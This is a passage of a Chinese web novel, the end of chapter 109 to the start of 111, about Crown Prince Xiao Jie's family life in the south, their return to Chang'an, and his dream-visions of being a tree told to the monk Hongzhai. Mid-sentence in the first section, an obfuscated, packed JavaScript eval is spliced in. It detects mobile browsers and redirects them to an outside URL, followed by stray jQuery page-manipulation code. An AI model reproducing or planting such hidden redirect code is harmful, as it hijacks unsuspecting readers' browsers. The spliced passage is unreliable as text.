阿耶一上来推拒,只道:“来了也没帮上大伙什么,哪能收这些。” 几个姊姊便笑:“若非要阮郎有功劳才给吃这些,跟那起子见钱眼开的小人有什么两样?有道远亲不如近邻,一碗吃的罢了。再说,郑郎这两年又是帮我们种地又是帮我们修屋,连刘大叔家里那头老黄牛都是他找回来的,真算起来,我们还要谢你们呢。” 不得不说,阿耶身体的确见好,精气神和脸色都有长进,渐渐能正常替人代笔,也给远在长安的阿翁写信。阿翁似乎很牵挂阿耶,但没有催促阿耶回家。 时间随门前溪水汇入运河,又随运河滚滚东去,旭章拔高了个头,黄历又掀过一篇,就这么到了奉皇二十一年的年初。 今年元日是立春,春风送暖,连阿耶的手都不这么冰了。等到上元,家家户户更是高举花灯,紧前头有一座灯人,旭章看了好几看,才认出是门上贴的那位魁梧健硕的太子。弄灯者敲锣打鼓,高声喊道:“皇太子万岁千秋——” 一时之间,满街洋溢万岁万岁、千秋千秋。 旭章叫爹举在肩上,犹记得是阿耶生辰,催促爹买完东西快些回家。父女两个和灯队人群相背而行,旭章低头问:“爹,什么叫万岁千秋?” 爹想了想,道:“就是生辰喜乐。” 旭章小小叫一声:“这个神和阿耶是一天生日呀。” 爹笑着应了。旭章忙道:“爹,爹,咱们快点走,这么多人给太子过生日,就阿耶一个人在家。” 爹笑道:“坐稳喽——”说着拔腿向家的方向跑去。 爹从来没跑过这么快,旭章被他双手紧紧抓着,看到所有的灯火流星般和自己相背而驰。他们跑离了热闹和灯会,回到明显黯淡、安安静静的家门口。 阿耶正在家里点灯写信,应当是写给南方的阿翁。旭章跑进屋,跳着脚把怀里的食匣推到他面前,叫道:“今天衙门发圆子!” 阿耶撂下笔,笑着替她解斗篷,“衙门发圆子,这么好的事情呀?” 旭章道:“听阿鹃阿姨说,都发了好几年了,是我们从前不知道。” 爹挂了灯笼回来,关好门,道:“这几年开的新例,每年上元,由各镇官府聘请厨子,自卯时至戌时于公廨门口分发汤圆。人均有份,一人两个,都是胡麻馅的。” 阿耶打开食匣,捧出那一小碗犹温的汤圆,看了一会,坠下两行泪来。 旭章忙踮脚帮他擦眼泪,问:“阿耶怎么哭了?这汤圆好吃的。” 阿耶笑笑,道:“乖囡,阿耶的爹想阿耶了。” 早晨爹给阿耶擀了长寿面吃,晚上便吃圆子,没有再包,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678723|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃这两个。旭章疑心阿耶那碗多加了饴糖,不然阿耶的笑容怎么会甜得像沁了蜜一样? 饭后,阿耶从荷包里取出三枚铜钱,用红绳穿着,跟平日花的铜板很不一样。阿耶把它放在香案上,对着拜了三拜,磕了三个头。全程爹陪着他,他怎么磕爹就怎么磕。 夜间沐浴后,阿耶便照旧哄她睡觉。 旭章卧在阿耶怀里,闻到一股淡淡的檀香乳香和椰奶的香气。她耸耸鼻子,道:“真好闻。”又强调:“阿耶身上真好闻。” 阿耶笑道:“是香好闻。” 旭章很不认同:“就是阿耶好闻,不是香好闻。爹说是不是?” 阿耶笑道:“你就仗着爹哄你,快睡。” 旭章已经长大一岁,知道大人等她睡后要说悄悄话,便赶紧装睡,好竖起耳朵探大人的秘密。今晚等了好久,却不等那两人讲话。她睁开眼,隔着青丝帐子,模糊看得一盏灯边,晕着阿耶披发斜坐的身影。 他低声同爹讲:“今日洗的热水。” 爹嗯一声,道:“我省得。” 阿耶默了一会,莫名其妙道一句:“是降真香,那香留香长,沐浴后也有味道。我想着今天这个日子,多少是个正日子。” 爹又应一声。 阿耶补充:“不过也贵。是我从前用剩的,装箱子时姑姑一块给我带了来,就用了一小块。” 爹没多讲,只道:“头发还湿着,我给你擦头吧。” 阿耶道:“这样睡就得了。” 爹道:“这样睡头痛。” 阿耶没再坚持,将手巾递给爹,爹绕到他颈后帮他擦头,擦到旭章困着也没擦完。 或许是阿耶太香了,把爹香晕了。旭章迷迷糊糊想,或许是阿耶太白,在灯底下露那么一段脖颈,跟一块牛乳方糕似的,她见了都想咬一口,牛乳糕,椰浆香味的牛乳糕…… 第二天晚上,等旭章睡下,爹从怀里拿出一只帕子包的小盒给阿耶。阿耶打开一瞧,有些讶然:“新买的?这香贵呢。” 爹道:“家里买香还是买得起的。只是比不上宫里,你将就用。我也瞧见卖香具的铺子,短什么你写给我,我明天去买。” 阿耶看了那小盒一会,突然道:“过来,给你捏捏后颈皮。” 爹忙笑:“岂敢。” 阿耶也笑:“这一年累你一个人养家糊口,这算什么?” 旭章隔着帐子,听爹哎一声,有些磨蹭,也有些顺从地坐下。阿耶的声音有些飘渺:“你其实不必吃这些苦。” 爹道:“若什么都靠官威,能瞧见什么真的东西。成日堆笑,你比我知道那辛苦。” 阿耶默了一会,替他按着肩颈,突然道:“我这几年听姑姑讲,若不是吴刺史以命相托,阿爹大抵不会留在潮州。他不做皇帝,若阿耶也不是大公,他们相逢市井,过平平常常的日子……他们带着我,大抵就像咱们带着太阳。” 这句话后,阿耶默了许久,爹也不再说话。等旭章认为偷听结束,钻回被窝之际,听到阿耶的声音再度响起,似乎下定什么决心。 “绥郎,”阿耶道,“咱们该回去了。” 110.第 110 章 奉皇二十一年初,皇太子返京,途中入娘娘庙避雪。至今娘娘庙旧址(今白龙山佛学院)仍保留明帝听经壁画,画中另一个主角就是禅师弘斋。 梁代弘斋和尚留迹颇少,是故学界的相关研究成果不多,近年探赜材料只有佛学院某生学业论文《梁秦骨血祭祀文化考·后记一·弘斋其人》一篇,且学术价值有限,勉强可作参考。可见其下: 和我老师同名同姓的这位弘斋和尚首次见记,正在梁明帝萧玠晚年的一部篆体回忆录里。这部书和他为他父亲昭帝所作的传记一起,成为后世窥探他们父子色彩淡褪的生前世界的宝贵孔隙。无数意义重大的历史碎片被不识珍珠者当作鱼目和破烂丢弃,而这位弘斋和尚,也就成为这片世界的守望者和这段历史的拾荒人。 根据萧玠自述,奉皇十八年的上巳佳节重创世族命脉的同时也重创了他的精神。那股向死的意志水蛭般钻进他身体之时,萧玠感到极大的恐惧。因此,他在郑绥陪伴下,短暂告别了他长达十八年的宫廷生活。他们在民间度过三年,奉皇二十一年的二月返京,至白龙山,入娘娘庙,听弘斋和尚讲经三日。据考证,娘娘庙所在地,当为我寺如今院址。 这里有一件非常奇怪的事,娘娘是道家元君,她的香火之所竟容许一名佛教徒布教,其实说不大通。以我的学问,实难作出符合逻辑的解释推断,遂截取萧玠回忆录原文,翻译如下: 奉皇二十一年农历二月十八,长安气候异常,天降暴雪,我第一次见到和尚弘斋。但我相信,我在成为萧玠之前,已经和他有过多次面谈。 是日,北风怒号,片片雪花卷落,像飞下黑蓝天际的灰白鸟群。郑绥顶风在前,一手牵马,一手牵我。我抱着旭章跟在后面,踩着他的脚印行进。即将抵达长安之际的这场暴雪让我们措手不及,四周没有人烟,我只能根据父亲讲述的故事,和郑绥上山寻找那座可以蔽身的娘娘庙。 按理说,这样大的风雪,我们三个初来乍到者不可能如此轻易地抵达终点。但那天晚上,犹有明月。我看到月亮之中,垂降一条素练,从半空泻落,一直铺到我们脚下。那条光辉闪动的仙帔,像为道路施下仙术,让我们攀登那条山石嶙峋的雪路像走宫中平整的青石板路一样容易。 即将爬到山顶处,一小片松树林遮挡了我们的去路。说是林,其实只有大小七棵树,但排列整齐,像被人仔细丈量过后才挖坑种植。打头的一棵已经长得格外高大,树冠一把青翠巨伞一样撑在我们头顶,在月光下,积聚的雪盖也像一粒一粒极微小的水晶碎屑,把每一根松针都描绘分明。 郑绥摸了摸树皮,皱眉说:“奇怪,这树顶多也就七年年纪,居然长得像一棵老树一样,只看样子,说有五十年也不为过。” 我也跟上去,学他摸树皮。他能摸出的是经验的判断,我只是感觉的驱使。这树皮很皱,像上了年纪。但其实手感柔韧,又像是它实际年岁的证明。其实摸它,更像摸一个中年男人长满老茧的手。我感觉像摸爹的手一样。我知道我想爹了。 我说:“咱们上去吧,避一夜,等雪停了赶紧赶路,还来得及家去过年。” 从松树地离开后,我们看到了娘娘庙。 它像藏于山野的一名佳人,怀抱手炉,在雪中向我们频频微笑。它也比我们想象中整齐许多。院中那只大香炉为雪覆盖,炉中仍有几支清香未尽,香炷头跳跃几点火星。廊下整洁一新,应当常有人打扫。 我们走到屋檐下,从门槛前住步,看到屋中的神奇景象。 娘娘金像毫无尘埃,她宽额广颐,慈眉善目,说是一位神女,更像一名母亲。接着,我看到伏在她膝头、穿兜肚手举荷叶的童子,憨态可掬,跟世俗孩子对母亲的眷恋并无不同。 而承接娘娘玉体的莲座下,趺坐一个穿百衲衣的和尚。 他头顶除戒疤外,还有癞疮痊愈的疤痕。面庞红润,颜色年轻,望之当为我们的同龄。这样暴雪之夜,他只着单衣,光头赤脚,却浑身散发出缕缕暖气。一时间,我们闹不清这座庙到底姓佛还是姓道,只得以借宿为题开口。 和尚睁眼,我有些讶然,他这样的年轻人,眼睛居然比我父亲还要沧桑。 和尚说:“太子萧玠,我一直在等你。” 我看看郑绥,将熟睡的旭章递到他怀里,跨进门槛,双手合十问:“大师认识我。” 和尚说:“是施主认识我。” 我道:“请教大师法号。” 和尚说:“弘斋是也。我们上次见面,还是南秦金河之畔。” 我笑一笑,道:“大师见谅,那大抵是三年前的事了,我的确记不清了。” 弘斋和尚不以为意,请我们坐下,又请我们吃桌上的斋饭。幸亏郑绥在侧,不然雪天孤身遇见这样一个怪人,我决计不敢住宿。弘斋似乎明白我们的顾虑,我们吃我们的饭,他诵他的经。我们将碗筷收拾好时,他正诵到四甘露咒,南无阿弥多婆夜。我习惯性捻住腕部佛珠,也跟随默诵起来。 这次合诵经文,成为我们沟通的桥梁。而我真正确信他是个大能者而非招摇撞骗之人,是在接下来长达三日的讲经之中。那是第一次有人和我谈论佛经,第一次有人洞察我生命的秘密,和这个王朝巨树般茁壮的历史下,埋藏地底的、树根般盘虬的我的家族关系。 第三日中午,天地无光,大雪昏昏,我做了一个梦。从蒲团上爬起,弘斋似乎正等待我醒来,等待我向他解梦中之惑。 我问:“大师,贵宗讲十二缘起,一切生灭互为因果。那一个家庭的缘起,真的是先有父母的因,再有子女的果吗?一定是男女结合、夫妻相配,女子之血孕育男子之精,成为能够生下孩子的母亲,这个孩子出生后,男子才成为父亲吗?会不会他和他父亲是一段因缘,和母亲是另一段因缘,会不会是父母的因各自导向他的果,而非父母共同创作了他的果呢?会不会没有父亲,母亲也是他的母亲;没有母亲,父亲也是他的父亲呢?” 弘斋问:“为什么这么说?” 我道:“我近年常觉自己之前不是一个人,而是一棵树。你相信吗?在我树的世界里,我很早就认识我父亲,远早于他和我‘母亲’因缘的诞生。” 因为梦境杂乱无章,我只能采取我父亲的生命时间,对这些碎片进行排序。这么看,我第一次认识我父亲是在他的少年时代。那是我去年在船上做的梦。江水微微摇晃,像一股微风吹动树叶。我的树叶就这么被风吹散。那时候的我,是一株桑树。 清晨的太阳就这么被一道哨声震碎,哨响后,十几只飞鸟整齐有序地落在我肩上。他们的降落地点似乎也有严格的限制,像那只最胖的鹌鹑,只敢单脚站立、踩在我枝杈口凸起的结节上。他有一次落错了脚掌,当即被飞来的石子击落在地。我看得非常清楚,那颗石头穿过我的叶片,精准击打在他脑部,只这么一下,就敲开了他花色的脑壳,把一缕粘合鲜血的脑浆溅在我下巴上。我耸动肩膀,掉下几片叶子掩住他的尸体,然后去找那杀鸟的真凶。 院中空无一人,看不到吹哨的人,也看不到打鸟的人。我已经明白,这种口哨模拟的是鸟类的语言,这些人的目的是为了和鸟沟通、从而让鸟成为自己隐藏的助手。 这种鸟哨是从南疆流传进来的技能。我听过一个故事——或许是栽种我的那个人埋下我时的咕哝——大抵是宫中两个妃子起了争端,一个妃子会鸟哨,气极吹起来,另一个妃子以为她气急败坏,捧腹大笑。当晚,她就被亲手豢养的红嘴鹦鹉啄坏了一双眼珠。这是一种很可怕的杀人技能,而那只被打死的鹌鹑,大概是不听训练、作出忤逆,被当了儆猴的那只鸡。 我依旧没有看到吹哨的人,如果我当时能有后来人身的记忆,我会觉得那跟我早早消失踪迹的伯父梅道然的声音很像。但我当时只看到,紧闭的纸窗上,有一个顶针大的破洞。树的视力比人的视力要强百倍不止。就是透过那个洞,我看到屋里一个少年的脸。 他长着一张三十岁左右的男人的脸,但个头只有十四岁高低。我发现,他头发边缘有一层极难分辨的粘痕,那应当是他脸上面具的边缘。他一身黑衣,整个人裹在房屋阴影里。我想他从头到尾,真正真实的只有那双眼睛。石头一样,没有感情。 但一个真实的人,怎么会没有感情? 我正纳闷,又一枚石子已经穿过窗上破口飞速弹出。我几乎没有看到他手指弹动,我左肩上那只不服鸟哨咕咕乱叫的鸽子已经被一枚飞石打穿咽喉,这次直接钉在我枝干之上。她黏腻的鲜血从我枝头丝丝缕缕流淌而下时,我听到人的声音——在屋子更里,没有感情地说:“青泥六号,暗器使用,甲等。” 我也就知道他叫六号。 六号和所有青泥一样,寡言,冰冷,神出鬼没。但他是为数不多的会走进院子里的人。我发现他只对院中两种东西感兴趣,一个是头顶的天,一个就是有生命的东西。他白天杀死那两只禽鸟,晚上鬼一样跳出门,在鸟尸腐烂前——我以为他会把它们葬掉,那是我透过他眼神破译的信息,结果他吃掉了它们。后来我听说,他们的领头人开始开掘他们的生理极限,六号作为最拔尖的人才——刀才,不得不在七天禁食期间进行车轮战式的搏斗训练。他太饿了。 六号一只鸟一样,一只脚踩在我裸露的树根上,另一只脚似乎受了伤,有些绵软地拖在地上。但饥饿让他来不及顾忌肉身的痛苦,他像用两条前肢刨土的地鼠一样,动作迅速地拔掉鸟毛。死去这么久的鸟是没有流动的血的,所以当小片鲜红从他掌中积聚时,我意识到,那是他未愈合的伤口。 现在我用人类的语言叙述,说他是个像鸟的人,但在我当时树的视觉里,他还是一只特别像人的鸟。他从这么早开始就成了同类相食的罪犯,这次有我的见证。 我木头的心脏感到一阵恻隐,我微微耸身,让成熟的果子脱身而下。深青天幕下,葚果噼里啪啦降落得如同血雨,有些掉在碎石上,迸溅出甜美芳香的血液血浆。果实被六号一把一把拢进嘴里,他无声地狼吞虎咽,桑葚的汁水染红他的牙齿,从嘴里蜿蜒涌出,让他变成个茹毛饮血的野人。 在我如云的枝叶下,六号吃掉了那两只烤到发苦的、没有摘除内脏的死鸟,他离去时清理了那堆余烬,烧焦的树枝散发出我这棵桑树的清香。 六号因为不服从禁食令,被丢进一只饿狼的笼子。当他浑身是血、一瘸一拐地走回院子时真正引起领导者的注意,他们破格将他提拔为影卫。六号暂时告别了他的野兽生涯,裹上人皮。转去影卫营地的前夜,他再一次来到院中,站在把那堆鸟骨头毁尸灭迹的地方,再次抬脚踩了踩我那根枯死的根茎。轻轻地,像一只鸟的驻足。 我知道他在跟我告别。 已经到了深秋,我没有桑葚能再落给他,耸肩致意时坠落了几片桑叶。那边缘焦黄但叶面鲜绿的叶片被他接在手里,他看了一会,含在唇间,吹奏出一支很短的民歌。这歌曲暗含了他的籍贯和身世,预示了他的命运和爱恨,并州的狂风时隔多年远隔千里仍能随他口中气流叶底振动而掀起,我也是那时候确定,这把快刀、这头野兽,实际是一个蛰伏刀鞘里和兽皮下的人。那次训练是青泥六号所受最严酷的惩罚之一,他的确险些饿死,但我相信,不到十年之后他会有点感激这次训练。这让他挺过了潮州最艰难的岁月。 那天之后,青泥六号转入影卫,代号重光。当时我并不知道,那会是他一辈子无法磨灭的徽记。第二天,这座庭院暴露,赶在朝廷军队赶来前,青泥头领放了一把大火,我和重光居住过几年的监牢一样的房屋被一起烧成灰烬。 讲到这里,我缓了口气。弘斋看着我,说:“这是施主去年的梦?” 我答道:“是。这个梦让我意识到,我所有树的梦境里,那个身份不明的主角都是我父亲。我也真正相信,六道流转,皆有轮回。我或许本来就是一棵树,而不是一个人。” 弘斋问:“施主最早的树梦是什么?” 我说:“是我十四岁寄居行宫那年,几乎病死——但说是树梦并不那么确切,我吐血昏迷时,梦到我变成一棵庄稼,一棵从泡烂的树皮上长出的水稻苗。我知道那是什么时间、什么地点,是玉升元年,西琼兵临的潮州城。” 我水稻的身体喜雨,但无法耐涝。那场长达数月的雨季简直将天捅破个窟窿。街衢之上,浪花翻腾。田地之中,波涛汹涌。我面前的排水沟渠已被冲毁,形成一条新的河流。无数庄稼的残肢断腿从我眼前飘过,在蟾蜍宏亮的叫声里弥漫开铺天盖地的死尸之气。一朵梨花顺流而下,远远地像一具美丽的艳尸,直到她从我眼前一闪而过,我才看到她被沤烂的皮肤和泡到发白的身体。雨杀了我所有身为植株的兄弟姐妹,但雨还在下。若非那截死树用他无私的身躯抱紧我的根系,我这条小命早就随水东流了。水流即将把我拦腰掰断时,我从岸上——堤坝上听到被大雨冲散的马蹄。 在这个梦里,我一下子就认出了我年轻的父亲。他披蓑戴笠,不等白马住步就跳下马背。那把环首刀挂在腰间,一把铁锹被他握在手里。我听见他大喊,横渠被冲塌了,先通沟!看好脚底,别踩秧苗! 身后的壮丁跳下河岸一样扑通扑通跳下堤坝,在我父亲带领下重新掘沟。我父亲的手是一双神奇的手,什么东西在他手中都如臂使指,他用农具灵活得像用他那把快刀一样。泥水溅在我父亲头脸上,暴雨劈头盖脸像无数耳光。他那双如同铁铸的手臂却不知疲倦,从天公的利齿里为潮州抢出了这片即将涝死的土地,我也因此苟延残喘了半月有余。 半月之后,西琼围城。 天灾刚刚结束,人祸接踵而至。大水退去后,土地裸露出湿红的身体,扎根身上的所有活物全被拔取充饥,只留给她满身疮疤。这时候,我们这片幸存的庄稼终于抽穗,我羸弱的身躯里散发出阵阵馨香。感谢那截死树,在这片水土流失的土地上为我提供肥料。我拼尽全力地想提早成熟,提早被收割下来倒进热锅,赶紧喂养这座即将饿死的城市。但当父亲手拿镰刀率队出现在我面前时,我意识到还是太早。我没有发育完全,我的谷壳里还是脑浆一样流动的浆水。我用庄稼的声音大喊,等等,再等等,我尽力长了,等我结实了才能填饱你们的肚子呀! 我哀声祈求时,听到有人类的声音和我一起传来,一高一低一响一弱,吹奏交响乐一样大声振荡。那人也喊,等等,再等等! 那是个身材瘦弱的中年男人,他穿一件缝补禽鸟的袍子,似乎是某种身份象征。所有人给他让开条道,但他跑至我父亲面前依旧跌跌撞撞。结合我如今为人的判断,他正是当时的刺史吴月曙无疑。 吴月曙拉紧我父亲持镰刀的手,哀声叫道:“庄稼才抽了穗……潮州已经两年没种出过粮食了!” 我父亲毫不留情地打断,“等稻子熟了,这些人的尸骨已经烂了一个月。” 他用警告的声音说:“使君,树根已经刨尽,孰轻孰重。” 我看到吴月曙探出的手腕像一截泡烂的木头一样软下去。我父亲用沉默的等待,逼迫他发号施令。雨中,吴月曙振袖一挥,我父亲便迈动脚步,跨到我面前。 在看到他的脸前,我先看到他脚下的草鞋。那是和我同胞的稻草所编,经不得长久沤水,前段已经破烂,翻出草叶湿瘪的经络。那个破洞突然让我想到我还是桑树时,院中窗上的那处破损。接着,父亲从我面前蹲下来。 听他和吴月曙对话的漠然,我原本以为我会看到一张严酷冰冷的脸。但抬头时,我对上一双泪光闪烁的眼睛。 大雨如帘,我却仍能分清泪水和雨水。雨水腥苦,泪水甘甜。我父亲流着泪,右手却干脆利落地掐住我的脖颈。他抽动镰刀的一瞬间,我感觉他比我要可怜。 我父亲杀死我之前用泪水灌溉了我。 那时候我还不知道,当天收割的全部稻苗,父亲一口没吃。我和一些麸皮树根一起煮成稀汤,灌进一个男孩的肚子。但和他空瘪出血的肠胃相比,这些不过杯水车薪。 最后这个男孩饿死在我父亲怀里。 我再次停下,不得不捻动佛珠来平息心情。弘斋没有提问,安静等待。我抬手擦拭额头冷汗,说:“大师,我相信三世两重因果,我相信此有彼有、此无彼无,我相信我之所以成为我父亲的儿子,不是因为他遇到了我的‘母亲’。但……我不确定这些树梦,是我患病的臆想,还是过去存在的真实。” 弘斋问:“施主何出此言?” 我说:“昨晚的梦里,我再次梦到了我、梦到了我父亲。” 我说大师,我也梦到了你。 历史有诸多未解之谜,例如怀帝之死、沈娑婆的身世,还有我这条生命,但无一例外,这些谜面都有一个真正的谜底,而弘斋和尚是我见过的唯一一个没有谜底的谜题。我登基之后命人编纂天下文集,发现他现身于许多版本故事,并且和我父亲关系匪浅。 我的老师李文正公在他那部《元和玉升遗事新编》手稿里记录,弘斋曾在元和十五年底的白龙山遇到我父亲,而潮州地方志记载,玉升二年锦水鸳爆炸案,我父亲命悬一线、我阿耶穿耳请神之际,有一位姓名不详的癞头和尚造访公廨,拟了一个奇怪的方子让我父亲服下。文中揣测,我父亲能够起死回生,除却我阿耶的精诚所至,或许还有这一剂仙方的缘故。之后,我向父亲问起过弘斋,但父亲对这位僧人的印象十分模糊。并且除了书面记载,弘斋和尚似乎没能在任何人记忆里留下痕迹。后来我甚至去造访过撰写潮州志的人,但那位苍髯老翁告诉我,那一节的内容并非由他主笔,地方志初稿由我的老师李文正修正过,我推测那可能是我老师的补笔。 但当时老师远在西塞,是如何将千里之外的潮州之事绘声绘色、不遗巨细地记录在案,又成了一个崭新的谜团。 但我所言非虚,在娘娘庙做的梦里,的确出现了弘斋。我推测出那正是这个悬疑所在——玉升二年初春,我父亲死而复生的真相。我也明白了为什么我对院中那株梅树情意眷眷。 这个梦里,我成为那棵老梅。 此处还有一个疑惑。据我父亲所述,这株梅树早已植根庭院,在西琼兵围期间被扒掉树皮充饥,已然衰败而死,却在潮柳合治、我父亲二度 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他递出方子,立即被我伯父夺在掌中。根据我伯父脸色判断,这是一张极其怪异的药方。他迟疑道:“别的都好说,这冲服所用的木筋胶却从没听说过。” 弘斋道:“正是树木的血水。” 程忠立即红脸,“你个秃驴耍弄老子?树若有血,那不成了妖精!” 我伯父横臂拦下他,蹙眉道:“我有所耳闻,据说有些树木既通灵性,哭笑生死与人无异。这种树的根被称作肉根,斩断树根,流出的就是血水。” 程忠急道:“统领,这些神神鬼鬼的话,哪能当真哪!” 我伯父当机立断,“半只脚踏进鬼门关,死马当作活马医了。大师,这树生在何处,我上天下地也取血过来。” 我听到弘斋和尚双手合十,念声阿弥陀佛,“远在天边,近在眼前。” 他抬头,程忠我伯父顺着他的目光,落在庭中开满梅花的我身上。我听见铿然一响,我伯父抽出腰间宝刀,跨步向我走来。我以为他直接动手之时,他握紧刀柄,扑通跪在我面前。 我伯父八尺的男儿铁打的汉子,在我面前折腰佝背,泪流满面,叫道:“梅树,好梅树,咱们同是梅字,本归一宗。你救我兄弟,我死了埋你底下,我当肥养你。” 我伯父冲我磕了三个响头。 他落下玉龙刀,喀嚓一声后,我根茎的断口像砍断的一根肉脖子一样,涌出汩汩血流。 满树梅花簌簌坠落,是我树的身体抽痛发抖。我的一朵花飞进碗里,和我腥气涌动的热血一起,灌进我父亲撬开的齿关。 三日后,父亲苏醒,我因断根一夕枯死。至于后来那株还春的梅树,就是另一条生命的故事。 讲到这里,我并未向弘斋求证梦境的真实性。这一刻我已经做出判断,早于父亲和阿耶孕育我的那次□□,我和父亲早已血脉相融。反而是弘斋问我:“这就是施主全部的树梦吗?” 我迟疑片刻,还是说:“不,只是那个梦境太过玄虚,和这些都有所不同。” 弘斋笑道:“施主姑且一讲吧。” 我说:“那是奉皇十五年,我从病中死里逃生之际所做的梦。” 那个梦很古怪,也很简单,梦里我一会是人,一会是树。但更多的时候,我是人。我梦见一个雪夜,发生了一场山崩,我父亲骑马从悬崖顶一落而下,我跑过去接他。 和其他梦境不同,这是一个不断循环的梦。我第一次只抓住了他的手臂,他还是直接摔死。第二次有些经验,但他脑袋撞到落石,也断了气。第三次我跑得更快,他砸断了我一条手臂,活下来,但也断了一条胳膊一条腿。第四次手脚俱全,但吐了好多血,似乎五脏有破碎。然后是第五次、第六次。 我顿一顿,说:“直到第七次,第七次我完全垫在他身下,被他砸断了脊柱,但我父亲应当没有受很重的内外伤。这个梦和其他梦还有不同的一点,就是有实在的痛感。那种被活活砸成两截的感觉很真实,甚至我能尝到呛出来的鲜血味。然后我看到我弯曲的半截身体,是折断的一截松树。” 我说:“我其实并不知道,我树的记忆、树的生命是否真实。但我想人有因缘,世有六道,人这辈子可以做人,上辈子或许做猪做狗,为什么不可能做树呢?” 弘斋却讲了另一件事:“你接他七次,七次都遭受了粉身碎骨的痛苦。” 我点头,说:“是。” 弘斋道:“如果你的梦只是梦,那施主你这七次的体解之痛,便是平白遭受。” 我笑了笑:“那说明我父并没有掉过悬崖。只是梦,不更好吗?” 弘斋看我,再念声佛,说:“请跟我来。” 我跟随他出门时,大雪已霁,一地洁白闪动,宛如镜面光辉。我看着弘斋和尚落下赤足,没有在三尺深的雪地里留下一个脚印。或许他也是我生命的守密者,谁知道呢? 他带我走到那片松树地前,松树由远到近以由矮到高的次序分布,雪盖下青黑树冠挺立,像阴天时收在库房里的大小华盖一样。弘斋问:“不知施主是否听过桧母佛偈。” 我听他讲道:“三百年前有一个叫桧的伐木郎,不听劝阻,砍掉整片山林,受山神诅咒,身罹重病,命在旦夕。桧母无法,拜上深山,请求山神解脱。山神说,桧本为桧树轮回,残害同胞,天理难容。若求转圜,需你每年一步一叩跪拜上山,手植一木,此木若活,桧当延寿一年。自此,桧母每年拜山植树,直到四十年后寿终正寝,次年桧亦离世。” 弘斋面向松树,说:“这是施主你从奉皇十五年后的生命。” 我仰头,那高大的松树投下阴影,像一个人的臂膀一样将我紧紧护在怀里。我已经无从探知我这条命究竟因何延续,那场大病中,我阿耶的鲜血通过供奉光明神来供奉我,我父亲的鲜血通过喂养蛊虫来喂养我,但我或许依旧没能争气地立刻睁开眼睛。我父亲计穷智竭之际,或许有一个穿百衲衣的癞头和尚径登宫殿,再献一条起死回生的秘方。于是,一个月黑风高之夜,我父亲脱掉冠冕,像一个赤条条的黑皮肤的人一样一跪一叩拜上白龙山。我这个不信神佛的爹在娘娘面前发了宏愿,如果我能好起来,每年会跪拜上山植松一株,我毫不怀疑如果他能再活一百年,我的生命会植满白龙山头。比起无数个幻梦,真正接住我的是我父亲的手。 我想我的确是棵树。 父亲种的每一棵树都是我。 当夜,我们三人辞别弘斋,我心知这不会是我同这和尚最后一次会面。我挽过马缰,再次回望白龙山,月下松林伫立,目送我背影直至不见。这段回忆,我想我能一字不错地记录下来。我知道打开我生命秘匣的钥匙已经破碎漂流,这是除我孕育之夜的识觉外,我所捡到最完整的碎片。 …… 元和十八年正月十六,萧恒从悬崖坠落的那一瞬,看见了仿佛熊熊燃烧的娘娘庙。横生的松树减缓了冲力,叫他没有粉身碎骨。他背部撞上雪地的一瞬,并没有脊背断折的疼痛,他感觉有一双手抱住他,垫在他身后,砰地砸进雪里。 意识模糊之际,萧恒听见有人说: 阿爹,别怕。 我接住你了。 *** 附录·萧恒的树梦 奉皇十五年,萧恒重返一个大雪夜。 他手边居然有一匹白马,一把锋利如新的环首刀。萧恒转动手臂,发现自己的肌肉骨骼居然是少年全盛状态。 他深吸口气,观察四周环境。透过雪幕,发现正在白龙山前。 元和十五年腊月的白龙山。 他和秦灼的初遇之夜。 萧恒又遇见那个和尚,癞头,赤足,手托钵盂,浑身热气。 和尚再次将钵盂递给他,对他说:请取一钱。 萧恒正要去取,余光却瞥见钵盂里有一粒种子。 他并不知道这是什么植株的种子,但他知道,这就是他的种子。 我不要钱。萧恒把种子拿出来,说,我就要这个。 那和尚却立即变色,将种子夺过去,连连念佛,道:不成不成,他的血肉养不出你的果子,罢罢罢,还是由我自己种去。 他这就要走,却被萧恒攥住手臂。 萧恒说:这是我的种子,给我。 和尚叹气:阴阳方能相配,男女方得相偕。不该出生者,更不宜久留于世。不拘什么树,若失阴阳,离枯蠹不远。 和尚道:你种不活他。 萧恒依旧强硬道:给我。 和尚目光复杂,终究把那粒种子递给他。种子即将落入萧恒手心之际,突然响起一道尖利叫喊。 萧恒浑身一颤,从奉皇十五年的梦里惊醒。 萧玠仍躺在榻边,气若游丝。萧恒冲匆匆赶来的秋童道:“是秦大公到了?还是南秦的大夫到了?” 秋童气喘吁吁:“不……不是,是一个和尚,一个穿单衣的癞头和尚,他揭了皇榜,说能救殿下一命!” 萧恒颤声叫道:“快请他进来!” 111.第 111 章 萧玠回宫后,萧恒立刻着太医为其会诊,太医观其脉象,并未发现异样。 萧玠立在屏风外,听父亲沉默片刻后,又低声询问他的心肺和喘症,得到的都是有所延缓的答案。太医一致认为,以萧玠如今身体,寿限延至而立之年不成问题。 这样大喜之事,萧恒却全无兴奋。萧玠拿起父亲书案上两封书信,一封是寄来的,一封是父亲未写完的回信,这样仔仔细细看了两遍,听见太医告退后,父亲绕过屏风的脚步声。 萧恒没说话,先拉过他两条手臂翻看,果然找到那条疤痕,紧接着又捏他的臂骨,这么捏了一会,动作突然顿住,五指有些无力地松开他的手臂。 萧玠抬脸,叫道:“阿爹,我好着呢。”又拿起信件,道:“你和阿耶通信了。” 萧恒点头。 萧玠眨眨眼:“他嘱咐你别吃剩食。他怎么知道的?” “萧玠。”萧恒打断,“你这样,我怎么和你阿耶交待?” 萧玠笑道:“我好好活着呢,怎么不能交待。阿耶若知道我能活过三十岁,难道不会更高兴?” “阿玠。”萧恒看着他,“很疼。” 萧玠仍微笑:“没那么疼。” 他站起身,抬臂抱住萧恒颈项,小声说:“但阿爹,以后抱我,记得轻一点。” 萧恒重重吐出口气,小心翼翼抱住他后背,问:“江南的冬天冷么?在那边还常咳嗽么?” 